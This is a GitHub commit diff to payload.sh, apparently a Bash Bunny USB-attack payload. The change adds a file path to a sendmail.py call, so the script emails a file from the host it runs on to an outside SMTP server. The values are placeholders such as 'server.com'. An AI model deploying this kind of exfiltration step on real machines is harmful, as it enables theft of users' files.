Update payload.sh

pull/16/head
TheDragonkeeper 2017-11-04 16:40:13 +00:00 committed by GitHub
parent 95c54d2739
commit e278b53fa1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions

View File

@ -9,7 +9,9 @@ function run() {
SERVER="server.com"
USER="username"
PASS="password"
python /root/payloads/$SWITCH_POS/sendmail.py $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS
FILE="/some/File/Path/1.txt"
python /root/payloads/$SWITCH_POS/sendmail.py $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
####### REMOVE THE FILE VAR FROM THE PYTHON COMMAND IF YOU HAVE NO PATH
LED FINISH
}